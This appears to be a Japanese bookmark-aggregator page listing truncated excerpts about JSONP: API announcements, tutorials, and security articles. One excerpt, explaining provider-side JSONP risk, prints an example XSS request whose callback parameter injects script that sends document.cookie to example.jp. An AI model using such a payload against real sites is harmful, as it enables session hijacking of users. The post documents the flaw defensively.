XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます （編集部） JSONPだって、セキュリティを気にしてほしい 皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。 JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。 具体的な例を見
本日、はてな内のお気に入りのユーザー情報を取得できる「お気に入りAPI」（Favorites API）を公開しました。 以下のURLにアクセスすると、JSON形式でお気に入りユーザーの名前の一覧を取得することができます。 http://www.hatena.ne.jp/ユーザー名/favorites.json お気に入りユーザーとは、はてなアンテナで日記を購読していたり、1ヶ月内に☆をつけたりしたことがあるなど、はてなの各サービスでの活動から相手に対して何らかの行動を行っているユーザーのことを指します。 はてなのお気に入りAPIは、以下の情報を集約して情報を集約して配信しています。個別のサービスからのみお気に入りの情報を取得することも可能です。 はてなダイアリー 最近はてなダイアリーにトラックバックを飛ばしたり、コメントを書き込んだ相手のユーザー http://d.hatena.ne.jp
はてなのお気に入りユーザーの情報を取得できる「お気に入りAPI」（Favorites API）を公開しました 本日、はてな内のお気に入りのユーザー情報を取得できる「お気に入りAPI」（Favorites API）を公開しました。 以下のURLにアクセスすると、JSON形式でお気に入りユーザーの名前の一覧を取得することができます。 http://www.hatena.ne.jp/ユーザー名/favorites.json お気に入りユーザーとは、はてなアンテナで日記を購読していたり、1ヶ月内に☆をつけたりしたことがあるなど、はてなの各サービスでの活動から相手に対して何らかの行動を行っているユーザーのことを指します。 はてなのお気に入りAPIは、以下の情報を集約して情報を集約して配信しています。個別のサービスからのみお気に入りの情報を取得することも可能です。 はてなダイアリー 最近はてなダイアリ
さきほど、はてなスターに登録されたブログの情報を取得できるAPIを追加しました。 以下のようなURLにアクセスすると、json形式でブログの情報が取得できます。 例：http://s.hatena.ne.jp/blog.json/http://d.hatena.ne.jp/hatenastar/ 送信されるJSONデータは以下のようになっており、ブログのタイトル、URL、はてなスターの総数を取得できます。 { "title": "\u306f\u3066\u306a\u30b9\u30bf\u30fc\u65e5\u8a18", "star_count": "72017", "uri":"http://d.hatena.ne.jp/hatenastar/" } また、callbackパラメータを渡すことでJSONPにも対応しています。 例：http://s.hatena.ne.jp/blo
This webpage was generated by the domain owner using Sedo Domain Parking. Disclaimer: Sedo maintains no relationship with third party advertisers. Reference to any specific service or trade mark is not controlled by Sedo nor does it constitute or imply its association, endorsement or recommendation.
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
http://jsonp.yatena.com/ 実際のJSONPデータをご覧頂ければわかりますが、callbackの関数名はkakaku_wsとなっております。 http://blog.livedoor.jp/dankogai/archives/50639200.html 送られてくるjsonpはこんな風になっています。 parse_yubin2jsonp('東京都','千代田区','千代田'); いや、そもそも現在主流のJSONPの解釈自体が提唱者の元々の定義からぶれているので、定義にこだわるつもりはあんまりない。 ただ、「xxxがJSONP対応したよ！」っていわれて、じゃあ試してみようと思ったら、自前のクライアントライブラリが使えなかったときというのがとても悲しい。自分でスクリプトタグをコードに書けばいいんだろうし、ページに結果を貼り付けるだけの小さな用途であればそれで十分なんだろう
Yahoo! Search Web ServicesのJSON(P)を利用すれば、JavaScriptのみでサイト内検索が実現できる上、Ajax的にページ遷移無しで検索が実行できる。Google AJAX Searchが内部で利用しているJSONPらしきアレを利用するケースと違い、こちらは公式にアナウンスされているのでおおっぴらに利用できる。というわけで、ほとんど同じタイトルでほとんど同じネタを連続で書いてみる。 実装は、ひとつ前のエントリでもリンクを張っておいたサンプル・ページで利用しているJavaScriptファイルのような形になる。 Yahoo! Search Web ServicesのWeb Search APIへのリクエストは、 http://api.search.yahoo.com/WebSearchService/V1/webSearch?appid={アプリケーションID}
MECAPI で JSONP 出力対応 2006-09-23-1 [MECAPI][NLP] Web 経由で MeCab を使うための API である MECAPI (http://mimitako.net/api/mecapi.cgi)で、JSONP出力対応しました。 callback というパラメタでコールバック関数を指定する仕様。 これによってドメインが違ってもクライアント側 JavaScript から MECAPI (JSON) を呼び出して使えます。 サンプルを下記に置いておきます。 昨日のやつ[2006-09-22-4]をちょこっと改造しただけです。 - MECAPIのJSON出力で形態素解析 http://chalow.net/misc/mecapi.html 参考： - [鏡] 入門 JSON 3 -- JSONP とコールバック関数 -- 戯れ言++
最近 JSONP というのが話題になっているようですので， ここで簡単に紹介します。 JSONP （JSON with Padding）というのは JSON のデータフォーマットにちょっとした記述を加えて JavaScript の関数として呼び出せるようにしたものです。 JSONP については以下の記事に簡単な説明があります。（多分この記事が初出だろうという話です） Remote JSON - JSONP 例えば以下のような JSON データがあるとします。 { "name" : "Yasuhiro ARAKAWA" } JSONP ではこのデータに記述を加えて JavaScript 関数のようにしたものです。 分かりにくいですね。 具体的にはこのように記述します。 callback( { "name" : "Yasuhiro ARAKAWA" } ); "callback" の部分は関数
![[鏡] 入門 JSON 3 -- JSONP とコールバック関数 -- 戯れ言](https://cdn-ak-scissors.b.st-hatena.com/image/square/afb190f2218fa85b212f67be7406068e8317aaf2/backend=imagemagick;height=288;version=1;width=512/https%3A%2F%2Fproxy.goincop1.workers.dev%3A443%2Fhttps%2Fbaldanders.info%2Fimages%2Fattention%2Fremark.jpg)
ECナビデベロッパーネットワークは、開発者向けにECナビのサービスの紹介を行っていきます。また、開発者コミュニティは技術者同士の情報交換の場としても役立てていただけます。 ECナビでは、「ECナビデベロッパーネットワーク」を通じて、開発者の皆さんから新しいアイデアを寄せていただき、お客様にとってより便利なサービスを提供できるよう努めてまいります。ECナビの各種APIを利用することで、ECナビのサービスに保存されているデータを活用したり、ECナビ独自の機能を利用するといったことが可能となります。 ECナビは多様なサービスを提供するウェブサイトであると同時に、多彩な機能をもったプラットフォームでもあります。ECナビウェブサービスを、インタラクティブなウェブサイトの運営に、ECナビと連携するアプリケーションの開発に、まだ見ぬ可能性を秘めたユニークなサービスの構築に、どうぞご活用ください。
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
